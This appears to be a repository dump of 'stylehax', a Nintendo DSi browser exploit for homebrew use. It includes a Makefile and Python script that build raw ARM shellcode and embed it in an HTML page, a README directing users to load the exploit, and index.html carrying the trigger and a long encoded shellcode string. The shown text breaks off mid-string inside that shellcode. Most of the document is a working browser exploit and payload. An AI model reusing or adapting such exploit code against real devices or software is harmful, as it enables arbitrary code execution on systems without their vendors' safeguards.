[
  {
    "path": "Makefile",
    "content": "include $(DEVKITARM)/ds_rules\n\nindex.html: build_html.py template.html payload.bin\n\tpython3 build_html.py template.html payload.bin index.html\n\t@rm payload.bin\n\npayload.bin: *.c\n\t$(CC) -nostartfiles -nostdlib -DARM9 -I$(LIBNDS)/include *.c -o payload.elf -fpie -Wall\n\t$(OBJCOPY) -O binary payload.elf payload.bin\n\t@rm payload.elf\n\n# payload.bin: payload.s\n# \tarm-none-eabi-as payload.s -o payload.o\n# \tarm-none-eabi-objcopy -O binary payload.o payload.bin\n# \t@rm -f payload.o\n\nclean:\n\t@rm -f index.html"
  },
  {
    "path": "README.md",
    "content": "# stylehax\nA Nintendo DSi browser exploit. Put boot.nds on your SD card. Then, open the DSi browser and go to http://stylehax.net\n\nSee it in action [on YouTube](https://youtu.be/GywA40btJ6E)! Check out the [blog post](https://farlow.dev/2023/03/02/hacking-the-nintendo-dsi-browser) for the technical writeup.\n\n## Thanks\n* [melonds](https://github.com/melonDS-emu/melonDS) developers for writing such an accurate DSi emulator, including wifi capability\n* [PoroCYon](https://github.com/PoroCYon) for writing a [gdbstub for melonds](https://github.com/melonDS-emu/melonDS/pull/1583), which was critical for debugging the exploit\n* [shutterbug2000](https://gbatemp.net/threads/memory-pit-a-new-dsi-exploit-for-dsi-camera.539432/) and [zoogie](https://gbatemp.net/threads/memory-pit-a-new-dsi-exploit-for-dsi-camera.539432/page-18) for memory pit source\n* [yellows8](https://github.com/yellows8) for [reference material](https://github.com/yellows8/dsi) and debugging help\n* Martin Korth and others for [these amazing docs](https://problemkaputt.de/gbatek.htm)\n* [Fullmetal5](https://github.com/Fullmetal5) for str2hax canvas idea\n* Many others\n"
  },
  {
    "path": "build_html.py",
    "content": "import sys\n\n\ndef make_payload_string(payload):\n    assert len(payload) % 2 == 0\n    pairs = zip(payload[::2], payload[1::2])\n    return '\\\\u' + '\\\\u'.join(f'{b:02x}{a:02x}' for a, b in pairs)\n\n\nif __name__ == '__main__':\n    template = open(sys.argv[1], 'r').read()\n    payload = open(sys.argv[2], 'rb').read()\n    payload_string = make_payload_string(payload)\n    html = template.replace('{REPLACE_SHELLCODE_HERE}', payload_string)\n    open(sys.argv[3], 'w').write(html)\n"
  },
  {
    "path": "index.html",
    "content": "<!-- stylehax by nathan 2023 -->\n<!-- https://github.com/nathanfarlow/stylehax -->\n\n<html>\n\n<head>\n   <title>stylehax</title>\n   <style id=\"style1\">\n      @media all {\n         .test {\n            color: green;\n         }\n      }\n   </style>\n   <script>\n\n      var shellcode = \"\\u4800\\ue92d\\ub004\\ue28d\\ud008\\ue24d\\u3622\\ue3a0\\u300c\\ue50b\\u3000\\ue3a0\\u3008\\ue50b\\u000b\\uea00\\u3008\\ue51b\\u200c\\ue51b\\u3003\\ue082\\u1064\\ue59f\\u1001\\ue08f\\u2008\\ue51b\\u2002\\ue081\\u2000\\ue5d2\\u2000\\ue5c3\\u3008\\ue51b\\u3001\\ue283\\u3008\\ue50b\\u3008\\ue51b\\u2040\\ue59f\\u0002\\ue153\\uffef\\u9aff\\u3038\\ue59f\\u2000\\ue3a0\\u20b0\\ue1c3\\u3030\\ue59f\\u2000\\ue3a0\\u20b0\\ue1c3\\u300c\\ue51b\\ue00f\\ue1a0\\uff13\\ue12f\\u3000\\ue3a0\\u0003\\ue1a0\\ud004\\ue24b\\u4800\\ue8bd\\uff1e\\ue12f\\u0070\\u0000\\u158f\\u0000\\u006c\\u0400\\u106c\\u0400\\u0301\\ue3a0\\u0208\\ue580\\u1038\\ue59f\\u1f10\\uee01\\u0000\\ue3a0\\u0f15\\uee07\\u0f16\\uee07\\u0f9a\\uee07\\u1024\\ue59f\\u2024\\ue59f\\u3000\\ue3a0\\u0002\\ue151\\u0002\\u0a00\\u3004\\ue481\\u0002\\ue151\\ufffc\\u1aff\\u005b\\ufa00\\ufffe\\ueaff\\u2078\\u0000\\u1590\\u0220\\u1630\\u0220\\ub5f0\\u2400\\u2780\\u0022\\u2601\\u4d0d\\u007f\\u882b\\u3901\\ud204\\u2c00\\ud000\\u802b\\u0010\\ubdf0\\u2b01\\ud104\\u6803\\u3b01\\u6003\\u781b\\u433b\\u001c\\u0052\\u4034\\u4322\\u0412\\u0c12\\u085b\\u0034\\ue7e8\\u46c0\\u1590\\u0220\\ub5f7\\u2400\\u000f\\u0025\\u3801\\u9001\\u4e42\\u7803\\u8033\\u230f\\u421d\\ud100\\u2401\\u1cb3\\u006a\\u52d4\\u2104\\ua801\\uf7ff\\uffca\\u0033\\u336a\\u54e8\\u2301\\u4083\\u18e4\\u0424\\u3501\\u0c24\\u2d34\\ud1e9\\u2101\\ua801\\uf7ff\\uffbb\\u0605\\u0e2d\\u2400\\u2d01\\ud104\\u002c\\ue012\\u3401\\u0424\\u0c24\\u2101\\ua801\\uf7ff\\uffad\\u2800\\ud0f6\\u2c10\\ud053\\u2c11\\ud119\\u2110\\ua801\\uf7ff\\uffa3\\u2501\\u0004\\u0023\\u003a\\u3a01\\u2d00\\ud043\\u9901\\u3901\\u9101\\u7809\\u3b01\\u041b\\u7011\\u0c1b\\ud1f3\\u3c01\\u0424\\u0c24\\u43e4\\u193f\\ue7cd\\u0062\\u1cb3\\u5ad3\\ua801\\u9300\\u0033\\u336a\\u5d19\\uf7ff\\uff83\\u9b00\\u181c\\u0424\\u0c24\\u2c01\\ud007\\u2c02\\ud01c\\u2104\\ua801\\uf7ff\\uff77\\u3010\\ue004\\u2102\\ua801\\uf7ff\\uff71\\u3030\\u0400\\u0c00\\u0042\\u1cb3\\u5ad3\\u9300\\u0033\\u336a\\u5c19\\ua801\\uf7ff\\uff64\\u9b00\\u1818\\u0403\\u0c1b\\u9300\\ue7bc\\u2104\\ua801\\uf7ff\\uff5a\\u3020\\ue7e7\\u9900\\u5c51\\ue7bc\\u0038\\ubdfe\\u46c0\\u1590\\u0220\\ub5f7\\u22a0\\u4b58\\u4c59\\u4859\\u04d2\\u6013\\u2707\\u6023\\u4684\\u2300\\u4a57\\u4957\\u0008\\u3808\\u600b\\u6003\\u1f08\\u6003\\u1e90\\u8013\\u8003\\u0038\\u4350\\u4d52\\u4e53\\u1945\\u1980\\uc508\\u4285\\ud1fc\\u3204\\u310c\\u4562\\ud1e9\\u4a4f\\u494f\\u6013\\u4a4f\\u6013\\u4a4f\\u7013\\u4a4f\\u7013\\u4a4f\\u8011\\u2103\\u4a4f\\u7011\\u4a4f\\u494f\\u8011\\u4a4f\\u4950\\u6013\\u2201\\u4b4f\\u4252\\u601a\\u4b4f\\u880a\\u421a\\ud1fc\\u4b4e\\u4a4e\\u4669\\u601a\\u22a0\\u4b4d\\u04d2\\u6013\\u6023\\u2304\\u4d4c\\u3106\\u802b\\u4b4b\\u885a\\u800a\\u4a4b\\u0010\\u8817\\u880e\\u42b7\\ud0fb\\u881a\\u3201\\u0412\\u0c12\\u801a\\u2203\\u802a\\u885a\\u800a\\u8805\\u880a\\u4295\\ud0fb\\u881a\\u210f\\u3201\\u0412\\u0c12\\u801a\\u4a3f\\u0015\\u8813\\u400b\\u2b01\\ud1fb\\u22a0\\u4b3d\\u04d2\\u6013\\u6023\\u2380\\u4f3b\\u4e3c\\u0039\\u7033\\u483b\\uf7ff\\ufef7\\u4b3b\\u1a39\\u18ca\\u1840\\u1a57\\u1a43\\u2900\\ud12b\\u2382\\u7033\\u238e\\u4a36\\u049b\\u601a\\u22c0\\u4b35\\u04d2\\u601a\\u23f0\\u22a0\\u005b\\u04d2\\u6013\\u2284\\u6023\\u8829\\u4b31\\u0192\\u4019\\u430a\\u802a\\u220f\\u8829\\u4211\\ud1fc\\u882a\\u401a\\u2380\\u019b\\u4313\\u22a0\\u802b\\u4b2a\\u04d2\\u6013\\u6023\\u4a29\\u4b29\\u601a\\u4a29\\u6013\\u4798\\u881b\\u3902\\u803b\\ue7cb\\u46c0\\u01ff\\u0000\\u0400\\u0500\\u0112\\u0400\\u0102\\u0400\\u00b8\\u0400\\u39f6\\ue800\\u3a12\\ue800\\u0240\\u0400\\u820f\\uffff\\u0244\\u0400\\u0248\\u0400\\u0249\\u0400\\u0304\\u0400\\u0247\\u0400\\u0204\\u0400\\ue880\\uffff\\u0210\\u0400\\u0184\\u0400\\u0214\\u0400\\u4002\\u0000\\u0188\\u0400\\u000c\\u0004\\u03ff\\u0000\\ufc28\\u02ff\\ufc24\\u02ff\\ufc26\\u02ff\\u0180\\u0400\\u7c1f\\u0000\\u0000\\u0220\\u0242\\u0400\\u158c\\u0220\\u0000\\u0684\\uf004\\ue51f\\u0004\\u0238\\uf0ff\\uffff\\u3fef\\u0000\\uf018\\ue59f\\ufe04\\u02ff\\ufe24\\u02ff\\u0080\\u3e07\\u4fea\\u7c68\\u1f12\\u8f8c\\u4bd6\\u1405\\u60e8\\u9c0d\\ufd03\\u0838\\u1029\\u1814\\u578a\\u12b3\\u8875\\ua803\\uea13\\u0780\\u511f\\uf0c1\\ue129\\ud087\\u90ca\\u78d2\\u5b4e\\udea3\\u05fe\\u463b\\ufa26\\u0368\\u63ef\\ueb85\\u8fdf\\u8fb3\\u1e4e\\u121c\\ue081\\u7e02\\udfd1\\u1b14\\u329c\\u3bd5\\u5110\\ua7e2\\uf8fc\\u02c0\\uf544\\uea03\\u4696\\u8324\\uf4e0\\u2133\\ud0cd\\ub112\\u414e\\ua276\\u78e8\\u538e\\ufbe2\\u1b7f\\u9b19\\ufff0\\ufeca\\ua091\\ufd49\\uf201\\u1fca\\u1a4c\\u5986\\u0692\\u0489\\uaa06\\u39fc\\ue058\\u6c7c\\u52b8\\u2433\\u75b4\\u14b2\\u8eb0\\ud1c4\\ubc48\\uc0a4\\ub675\\ub414\\ud08e\\u48d1\\ua4c8\\u75cc\\u14ba\\u8eb8\\ud1dc\\ud448\\ud8a4\\ued72\\u29be\\u30bc\\u6b1e\\u9235\\u214e\\u47ea\\uef18\\u9f2d\\ua919\\u1080\\ue381\\u1240\\ucd3f\\u9778\\u8db5\\u31dc\\ufaca\\u2002\\uc893\\ubac0\\ud659\\ufcc2\\u39b0\\uaea5\\u7bf8\\ub458\\ubf1c\\ua754\\u4029\\u418a\\u4345\\u4422\\u4891\\ua445\\u5246\\u2948\\u1c49\\u34b5\\u334f\\u2c1d\\ue282\\u10b4\\ue1c2\\u037f\\u47e5\\uc331\\ufd6b\\ud724\\u20ec\\ufbcf\\uf291\\u301c\\ud33e\\u8b19\\ubee5\\u032e\\u5643\\u4988\\u5838\\u820f\\u1968\\ubf8e\\ub50d\\u6cf8\\ua0ef\\uf733\\ub64c\\u8f50\\u0858\\u8322\\ueba7\\uc11e\\u48e7\\u3710\\u19a3\\ue541\\u207d\\ubdd3\\ua352\\u82c2\\ua04a\\ub6e7\\ud2af\\ubfe1\\ub66f\\u240a\\u9f20\\u040f\\ucb30\\uf652\\u3ffc\\ub98e\\u1ab7\\u34fd\\ue31d\\u31db\\ue5af\\ue00f\\ua057\\ue513\\u9ff5\\u8efe\\ufc43\\u7523\\ue86e\\u2221\\u1ec1\\u0322\\uab32\\u73cd\\u6623\\uccd4\\uc458\\u37f2\\uf19a\\u2fc6\\ua18a\\u57f0\\uc3d7\\uac74\\u3efe\\u5330\\u01b6\\uf91a\\u99f0\\u9f5b\\uf0e1\\u9f9c\\u0304\\u66cd\\u4b67\\u1ed6\\u2067\\uab4d\\u0364\\uaede\\u7d67\\u3529\\u0ced\\ub503\\u0500\\u380a\\u2dbb\\u727b\\ue439\\u84b1\\u87d0\\u1e9e\\u6fa5\\u4028\\ua8df\\u8a25\\u911b\\ued2d\\u2091\\ub99e\\u185c\\u2680\\u2e1e\\uae42\\u1ef1\\u0e88\\u3ce7\\uf153\\ua7ed\\u91e7\\u5589\\uc292\\uf1e7\\uba71\\ue875\\ucfdc\\u293a\\ufa31\\ued4d\\ued4a\\u712d\\u799d\\u5434\\u6719\\u4350\\ud1d6\\u1ca4\\ud4a4\\u2548\\ue509\\ue420\\ud718\\ub9ae\\u03ea\\u8434\\u7e43\\u0f55\\ue8ce\\ua3dc\\u07c7\\ud50b\\u6f14\\u154e\\u364b\\ub9f8\\u2e57\\ueb19\\u199b\\u181b\\u9f83\\u9c43\\ue942\\u1cd2\\u8d72\\u71e8\\u38ff\\u0f4b\\ue5bd\\u682a\\uf1c7\\u0f99\\u6b36\\u10f0\\u1452\\u283b\\u2ca2\\u4891\\ua438\\u753c\\u7d01\\u12ee\\ucc07\\ufb51\\u705c\\u6a0e\\u7267\\u61e3\\u735f\\u2fff\\u9f24\\u9401\\u4a27\\u3795\\u7426\\u8166\\ue25c\\uffdc\\uc6ef\\uf83d\\ucfd1\\u0074\\u3001\\uc90e\\u0f34\\ub493\\ubff0\\u33f9\\ubbfd\\u4523\\u2512\\uf332\\u425b\\ue9ab\\u2214\\u5593\\u7131\\ub2fd\\u8006\\ua9e7\\u57a8\\u24c3\\u74c4\\u6846\\u94b3\\uce9c\\uad90\\u7095\\u2135\\ua1b3\\u6b06\\ue746\\udeda\\u711c\\u2a7c\\u30a9\\u3e31\\u1135\\ua3c4\\u24f2\\udc78\\u5319\\u5b40\\u07bd\\u37d1\\u1e6a\\u98bd\\u4ad6\\u73e0\\ucd73\\u8206\\u5889\\u3ae5\\u7030\\ue722\\u491c\\ue7f4\\uc7ff\\u0512\\u8228\\u4ab8\\u45b0\\u23b4\\u02a8\\u45a4\\uc4b4\\ubc52\\uc029\\u061d\\u2145\\ud02d\\uc8a2\\u4891\\ueacc\\u290a\\u1d08\\u0ea3\\u36c3\\u0ea0\\u0c29\\u1a01\\u4a10\\u4714\\u8283\\u1ac9\\uf193\\u0312\\u565d\\ufc80\\uac78\\u23b8\\u53db\\udfae\\u01b0\\u5b3c\\ubd50\\ua84b\\uf2e3\\u4e3c\\u9e0e\\u9d10\\u9f11\\uff0d\\u9a0a\\uc5fb\\u980c\\u3f3c\\u3b53\\u329b\\u4517\\u8e28\\u398b\\u1efb\\u6c9b\\u9abc\\ubdf1\\u638b\\u7844\\ud993\\uaa02\\u213b\\u1c95\\u1d91\\u4acd\\u1ad8\\ue4b3\\ufc2a\\uf1db\\ud858\\u532b\\ufe6d\\u059b\\u1f03\\uf1d5\\uf0e9\\u895b\\u3a2e\\uf148\\ufbef\\u521c\\u2c4b\\u1759\\u9c6c\\uca44\\u5537\\u8752\\ub306\\ub615\\u12f6\\u7239\\u7491\\ub107\\u2dfb\\u0595\\u2bd0\\u3af1\\u7462\\u8d72\\u1678\\u5ffa\\u13e4\\u77e0\\u4533\\u85d4\\u23d8\\u3ce4\\uc1dc\\ue68e\\u295c\\u3c84\\u00f6\\u1ae0\\u4ad0\\u45cc\\u22d8\\u91dc\\uc048\\uc8a4\\u73e1\\u22bb\\uc70c\\u5d57\\u0b9e\\u94a7\\u79c0\\u2964\\ud5d1\\u8813\\u2bbf\\u16fd\\u5624\\u60b2\\u4f3a\\u4912\\uad3c\\u633f\\u0f63\\u3cf8\\uf03d\\u6308\\u0624\\ub7f2\\uc4f4\\u5b2f\\ufdfb\\u3483\\ue549\\ud9b1\\u3bbc\\u319f\\ub570\\u224d\\u25ab\\uac71\\u611a\\uda93\\u4a49\\u9a49\\ud260\\u2635\\u4696\\u3f43\\u4198\\udbba\\ud3f8\\u04e6\\u73d1\\ucfae\\u2040\\ub34a\\u933d\\u0542\\u6fd9\\ud11f\\u8adc\\ue05c\\u79f9\\uf04e\\u7f7f\\u4c48\\u4db9\\u79d2\\u7b1d\\ue76a\\udce0\\u4980\\u6b1b\\ude4a\\ude48\\uf21a\\ufdd8\\u2b1a\\u1762\\ud0fc\\u148f\\ufe7a\\ufcba\\ue916\\u10a7\\uc748\\uc2e4\\ufefd\\u592c\\ua460\\u12ac\\u4d1a\\uf706\\u708c\\ucaf6\\ue735\\ud21c\\u3b20\\u19a3\\u8597\\u227f\\u9183\\ub4bd\\u08c2\\u7447\\u79fc\\ue4ec\\u137a\\ue1d0\\u4924\\uaff5\\u88f0\\u7049\\u3413\\u9c6c\\uf818\\uf5a6\\ub52b\\u4f63\\ud84a\\u01df\\ucf21\\ud98e\\ucffa\\u4a77\\ubb83\\u0468\\u820c\\ua31e\\ub610\\uc958\\u4439\\u33c7\\u8734\\uc0e1\\u7bf3\\u2978\\u7839\\ub5a7\\u9204\\uca8c\\u51b6\\u39aa\\u0fe6\\u2b01\\ud11f\\u1f03\\u2a25\\u62f3\\uae7c\\u2e41\\u0a96\\u18f6\\ub43e\\u0595\\ucef3\\u20ff\\u4f4f\\u0ded\\ufe7b\\uf2a6\\u35f1\\u5455\\u429d\\uc1f2\\u6625\\u30f5\\u5ee6\\uffc0\\uc778\\uc25d\\ud93c\\u095a\\uf8c0\\u7298\\uc115\\u1505\\uac0d\\u1273\\ud999\\uc048\\uab06\\uabda\\u24ff\\uac70\\u9e64\\ucfc7\\u980e\\u4298\\ud9ea\\udf0d\\ue848\\u09e7\\u80f9\\u68d9\\u0a52\\u8f9b\\u4665\\uff9b\\u237f\\u7d1c\\u4bf1\\ueca4\\u5974\\u011b\\u095d\\u33a0\\ud837\\uecd9\\ufbfb\\uc724\\u700d\\u5739\\u0ef6\\ue35a\\u782a\\u616e\\ub33b\\u2b19\\ud802\\ucff6\\u1dcc\\u570e\\uf023\\u37b5\\u09b4\\uaec9\\u7823\\uff99\\u1e06\\ufb0b\\u0fd0\\ude32\\u7ffe\\u7556\\u834b\\ue29b\\u4d0f\\u1ffa\\uef7d\\uf3cd\\u72e7\\u6f4c\\u3685\\u383c\\u0f37\\u380e\\uc303\\ud01e\\u8503\\u3252\\u8c46\\u6c0a\\ua353\\u4128\\udcf2\\u96d1\\uae2a\\u2b4e\\u542e\\u7b2b\\u95bf\\uff36\\u5b21\\u1d72\\u5ce2\\u80e3\\u522a\\uacfe\\u5d18\\u1fe2\\u04d5\\u26cc\\u7a9f\\u043f\\u19ef\\u7f38\\u5cb9\\u6737\\u225f\\ue6a2\\u58b8\\u4ae1\\u5aa5\\u3de3\\ue1ee\\u7e7c\\u55a5\\u49f6\\ud069\\u6678\\ube52\\u7e54\\u86f7\\u999d\\u5c61\\ude61\\ue21b\\u00d8\\ueb4b\\u64dd\\u6c12\\u4850\\u9f5b\\uac03\\uece5\\u7ba3\\u022d\\u5f1d\\ueded\\u68ed\\u3b4c\\ue14f\\ufb39\\u6d67\\u9823\\ub6d5\\u1953\\u6961\\u763e\\u62a0\\u7cc5\\ub3d0\\uf221\\uc009\\udeb6\\u2af3\\u4060\\uceb9\\u9a0d\\u48ec\\u44ff\\u454a\\uff4b\\u9d05\\u0177\\u1a22\\u3e70\\u4325\\u0349\\u479e\\u8df7\\u21be\\u5979\\ue7e7\\u428b\\u4fa6\\u1be1\\u1263\\ue885\\ud9d3\\ue844\\u630d\\uff66\\ud28b\\u2fef\\ud10a\\u1027\\ue333\\ufb5c\\u9e9b\\u3ed0\\u5bd5\\u6c45\\ucbdf\\u94fb\\ub224\\ueff9\\u7de5\\ua1a0\\u63f9\\uc98b\\uc31b\\uef1e\\ued3a\\u3c1d\\u1930\\u08fd\\u3331\\uc2d0\\u8e0d\\ua0e7\\u63e7\\uc08b\\u171b\\u3992\\u1c68\\u043e\\u4718\\u1ddd\\u7fdb\\u063e\\u4356\\ue986\\u904a\\uf54f\\u3799\\u9232\\u7203\\u96b2\\ubea9\\u2d29\\u4e32\\u2cac\\u12b2\\u8e02\\u2e50\\u04ca\\ufb12\\u2f31\\u684d\\u4db9\\u0bdc\\ua760\\uf3d0\\u2834\\u9f33\\u23a8\\ubb78\\u23c7\\u3c66\\uf5bd\\uf917\\uad0f\\u1322\\u0140\\u5a9a\\u5543\\u19ff\\u603d\\ue710\\ud6ff\\ud9e1\\u233c\\u48e4\\u387c\\u828f\\u28e0\\u4052\\u9c3f\\u0e2c\\ua10f\\u24c5\\u9c3a\\ufff4\\u330d\\u51b5\\u498e\\u8e8f\\u6a05\\u2790\\u70fb\\u0fe9\\ua567\\u2c70\\ud297\\ud42d\\u6ba5\\u2b2e\\ud1f8\\u3f48\\u169b\\ucc1d\\ud66f\\u041a\\u463e\\u30ba\\u0307\\u3667\\u4af4\\ueafe\\u21ad\\u995b\\u4a66\\uae2e\\u6458\\u0286\\u9862\\u2b10\\uf119\\ub03e\\u018b\\ubb37\\u3b8f\\u2cd1\\u4c8b\\u3dd0\\u5085\\udac3\\uc34b\\ub718\\u61cd\\ue668\\u318b\\u4e3a\\u2927\\ub399\\ud802\\ue719\\u2671\\u8c9b\\u09bd\\uc25c\\u4b64\\ue6e4\\u2220\\u219b\\ua8a2\\ueab3\\ufe0d\\u23cf\\u7ae0\\u2f18\\uc540\\u0328\\u6307\\udc05\\u0f75\\u1894\\u9a5c\\u8b57\\u2b06\\u04c6\\u7d6f\\uda8a\\u27b6\\u4fd1\\u7626\\u0c7a\\u06d0\\ub3aa\\ud87c\\u2eb5\\u798c\\uf7fe\\u059b\\ucc5d\\u4665\\u307d\\u2e04\\ufdf0\\u1b7f\\u4e78\\u789f\\u738f\\ub052\\uc336\\ua8d1\\ud0a6\\u8933\\u2dff\\ud1bf\\u554f\\uf913\\ub54a\\u6812\\u179b\\ud81a\\ud139\\u6cb8\\u3902\\ub492\\u06ef\\uf0ab\\u7d5c\\u55b3\\u05fe\\u4d3f\\u9b5d\\u011a\\udd36\\u5842\\u7741\\u73c0\\u7817\\u6ed0\\u60ef\\u2362\\ud87d\\u1433\\ua2e3\\u7ec5\\ub2b6\\ufe37\\u43e0\\ue764\\uaf38\\u3448\\u30a4\\u387c\\u1b01\\u3026\\u2c38\\uec77\\u8563\\ub039\\u9003\\uf80d\\ua916\\u3963\\u4ded\\u73d0\\u994b\\u904b\\u7fd1\\u41e0\\u4fcf\\ud210\\u29c5\\u4de1\\u6f04\\u462c\\udc93\\u6839\\ufe30\\ude5b\\ua81e\\u994c\\ud90a\\u35aa\\u99ca\\ue60c\\u05f1\\u8396\\u0df6\\u3ef1\\u34bd\\ucd92\\u2f91\\ud90b\\u1b93\\ufb3e\\u3fcc\\u6bcd\\u6c8d\\udedb\\u6743\\uf6c8\\u1ecd\\u5f40\\uda1a\\u5e17\\u2a05\\ud30d\\u5b18\\u12ef\\u01f0\\ub5b3\\u29b8\\u02d6\\u9e9b\\u15fd\\u78d2\\u8a3b\\u8e67\\ua601\\u5850\\uc37b\\u9357\\u6a3b\\u21fd\\u4f4a\\uc633\\u1b96\\u9afb\\u4293\\ud132\\u7f1e\\u1635\\u8ea9\\ubdc3\\uf073\\u7650\\uc3fd\\ucd3c\\ub0ad\\ub131\\u98bb\\u8119\\u32ec\\ue7c5\\u1667\\uf94f\\u4ea3\\udc04\\uf4ee\\u3767\\u2492\\uc305\\u683b\\u7401\\u9f82\\u423d\\ua5dd\\u281f\\u9bc5\\u4e1e\\u03fd\\u9a3f\\u0d6f\\u204b\\ud16e\\u3969\\u696d\\u18f0\\u9ff8\\ue49b\\udbaf\\u7f1b\\uaf02\\uf6c3\\ub319\\uc6b1\\u5cf2\\u1ced\\ud1ca\\uc467\\u28c7\\uc725\\udee7\\u0fe9\\u8d28\\u9920\\u2544\\u41b2\\u81de\\uf118\\u4fed\\uda88\\u7836\\ud483\\uadea\\ub6d0\\u4937\\u4008\\u4f10\\u228c\\u9718\\u83d5\\u59c9\\ue343\\ucfca\\u5d53\\u86e7\\u55f0\\ub889\\u4a02\\u8de7\\ud0c5\\udc6d\\u2103\\ub510\\ud3f2\\u9fdf\\u8bab\\u014e\\u5e6b\\u9c69\\u02e6\\uadf0\\u8d57\\uffd4\\u6ae3\\u08cf\\ufa4a\\u079c\\ud8e1\\u09a5\\u4333\\u44d3\\ue710\\u68d9\\u8813\\uba38\\u0c5b\\ue7f7\\uc9f9\\u0318\\ub5f0\\ucbc3\\u8d03\\ufeb0\\u050f\\u45dc\\u9b79\\u071f\\u8023\\uc8d7\\u400b\\u9308\\ufec0\\uc66b\\u4219\\ube03\\u19c7\\u1c9c\\uaf77\\u9694\\u748b\\u7a4d\\u2fac\\ue500\\ue4ec\\uf201\\u40ee\\ufc55\\ud1d1\\u0171\\u234c\\uf2e2\\u6a13\\u4d9e\\u751b\\u6a2b\\u126f\\u1af5\\ud6eb\\u6e49\\u094b\\u190c\\ue7bf\\u4364\\u5f68\\u0194\\u5e93\\uefb4\\uaae9\\ua9f2\\u2df3\\u42e4\\u415a\\u9206\\u2b5f\\ubefa\\u3a95\\ua97e\\u4f8a\\uad65\\u958d\\uae0a\\uf171\\udd25\\u76dd\\u4e2d\\ue642\\uab07\\u3603\\u961e\\u3d30\\u5f2c\\u5c7a\\u5e0f\\u8e49\\u2842\\ubfd9\\udf06\\u310e\\ud6d0\\uf796\\u583c\\ub4aa\\ud09e\\u1068\\uc1c3\\u91f6\\u2a2c\\u1158\\u69e0\\u55ce\\u7f4c\\ue6a1\\u198e\\u64f3\\u88f6\\uf64d\\u3102\\ub173\\uf942\\ufad1\\u3ad2\\u9942\\u034a\\u4d31\\uccbc\\u286b\\u0e4b\\u82b2\\u0aba\\uc9a9\\ud979\\u4221\\u23d3\\u08d1\\ufc99\\u2029\\u9fbc\\u1a2d\\u7ad0\\u4588\\u26bb\\u3039\\u7e4e\\u493e\\u12ed\\u4ed9\\uf424\\uafa8\\u1c7e\\ufa19\\u3b94\\u104e\\u34c9\\u0960\\u9cff\\ue98c\\ue3a3\\u3961\\ua44c\\ucf46\\u5b98\\u7318\\u6199\\u44cb\\ud301\\u3855\\u1b4e\\u4031\\u80fa\\u91cd\\u3733\\u3b4a\\u4211\\ud02f\\ua7fe\\u6882\\u4c73\\u7360\\ucd4e\\u3983\\uc346\\u81dd\\u3cb6\\u66e2\\u3be8\\u0580\\ube9b\\ue73a\\u5cd0\\u2ea6\\ud08c\\u3503\\u9ab2\\u332d\\u2d40\\u295b\\ua32b\\u8334\\u640d\\u9c1a\\u4b2a\\ua7b8\\u671b\\u3c5c\\u61c3\\ub00d\\ufff0\\u0aa6\\u83aa\\ue692\\ucc52\\u55d5\\u67e7\\u0499\\u9a8b\\ue212\\u0188\\u0ecb\\u6b42\\ub984\\u51ac\\u0307\\u1fd5\\u84d2\\u5d68\\u814b\\u3a60\\u0a07\\u8ac9\\u5f42\\u40ab\\ub8e6\\uf62e\\ue31e\\uc0d1\\u1cd8\\u48e1\\u0649\\u9022\\u0ddd\\u5b44\\u1b40\\u710c\\u30cb\\ufdb1\\ufe17\\u1aa9\\ufd76\\u3b1e\\u807f\\ue983\\ub20c\\u910e\\u1048\\u12a4\\u1452\\u1629\\u1814\\u1a8a\\u5647\\u63c7\\u4795\\uec79\\ub309\\u22b6\\ucf25\\u8348\\u2b2e\\u2c4b\\u9c37\\u8342\\u17c2\\u2e82\\u6251\\u6302\\u287f\\u274c\\u4097\\ue493\\uf527\\u21aa\\u8e7a\\u4926\\u6c9c\\udaac\\ua125\\u4636\\ue62c\\ucf0c\\u9431\\u24c8\\uafdc\\u6fa3\\u420b\\u20d5\\u4bb9\\udcce\\u01e2\\u6623\\u9492\\ue11f\\u319e\\u2aaa\\u82a5\\u4b28\\u9a53\\u1c4a\\ud51d\\u65a3\\u353a\\u23db\\u4e1b\\ucb4f\\uddae\\u6335\\u671a\\u632e\\u6333\\u2603\\u7e2b\\ubf19\\ub5b2\\u1ded\\u48ed\\ud52c\\u184d\\u174c\\ud525\\ub488\\u9743\\ua41c\\u7219\\u6d4b\\ub9f2\\u512a\\u74fe\\u0136\\u79bc\\uad6d\\u5b04\\u09a2\\u2281\\u9e74\\u3502\\ud87a\\u429d\\u1c49\\ue06b\\u2085\\ue423\\u031d\\u227e\\u7f4f\\u8391\\ufcea\\ufe94\\u028a\\u2445\\ue423\\u40ee\\u2861\\u4825\\ua426\\uae78\\ub570\\u4c5b\\u431f\\u0c1f\\u83e2\\uee23\\ub9f0\\u3ff9\\u11b3\\u380e\\ud5a3\\u9b22\\ude55\\ub293\\u32f4\\u9d32\\u0731\\uca80\\u05db\\u401d\\ue6fd\\u7150\\u2758\\ud11c\\u4f4a\\u2a49\\u7f43\\u21c6\\ua61e\\u07db\\ud5f0\\uc33f\\ued2a\\uebda\\u0f9b\\u48e5\\u022b\\ubdd0\\u55e4\\uaa1e\\udf41\\u8171\\u4662\\u8e7f\\u7f22\\u430d\\ufba2\\ufa2a\\u5704\\u1303\\u6740\\u6870\\u4116\\uba83\\u01f4\\u3efe\\uf3a6\\u0c1f\\u1a69\\u220c\\u3d62\\u1249\\u82ff\\uf650\\u9860\\ue840\\ua2d1\\u927f\\u7f09\\ua43a\\u522a\\u01d0\\uf826\\u3025\\ub0ef\\ua663\\u135f\\u1ca7\\u33d2\\u74a6\\u0ce1\\ud3e4\\u181d\\ue829\\ud8c0\\ucace\\u9d41\\uf91c\\u769a\\ua9e6\\uca62\\u99cf\\uc1c8\\u2333\\u286a\\u1abf\\uef04\\uc6c6\\ua3c3\\u2bbb\\ubb42\\ueeb8\\u2680\\uf1b6\\ud862\\u491e\\ubce4\\ucbb3\\u6328\\ud1ae\\u6a3b\\u1ebd\\ua6ce\\uf062\\uc732\\u2106\\u22f3\\ue07e\\u33e3\\ua024\\u92de\\u9b9e\\ubfb9\\ueaa6\\u99b3\\u262a\\uc97d\\uf909\\u0243\\ubc32\\u0f74\\uec21\\u7e62\\u5199\\u6393\\u0a5b\\u7fac\\u233f\\udfe2\\u402a\\ubba3\\u231a\\u7d63\\u5712\\u43ba\\u1b66\\uf39b\\uf30c\\u78ee\\u50e9\\u3724\\u8376\\u2da7\\u5969\\u026c\\ue493\\u7503\\u0609\\u071a\\u4d05\\u2546\\ub223\\u0410\\u2a47\\ub5f8\\u4c13\\u63cf\\u066a\\u6ef1\\ua389\\u3c22\\u46d1\\u5702\\u9bce\\ufd48\\u22d3\\u868b\\u4b0d\\u52f3\\ub3a8\\u042b\\u1bae\\u4bc9\\u